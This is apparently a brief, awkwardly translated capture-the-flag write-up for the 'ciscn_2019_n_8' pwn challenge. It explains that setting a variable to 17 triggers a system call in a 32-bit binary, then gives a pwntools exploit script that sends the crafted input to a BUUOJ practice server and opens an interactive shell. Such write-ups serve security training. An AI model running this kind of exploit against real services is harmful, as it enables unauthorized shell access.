ciscn_ 2019_ n_ eight

---

One 、 see file

32 position , Open the Canary Protect .

---

Two 、IDA Decompile

I don't know anything , Just the old way , Drag in IDA decompile ：

I feel that the clues given in the main function are relatively clear , The system call function is in the main function , Look, the code is when var[13]==17LL Time to execute system function .

So we can take 17 Fill in

3、 ... and 、 Code

from pwn import*
from LibcSearcher import *
r=remote("node4.buuoj.cn",25456)
p=p32(17)*14
r.sendline(p)
r.interactive()

---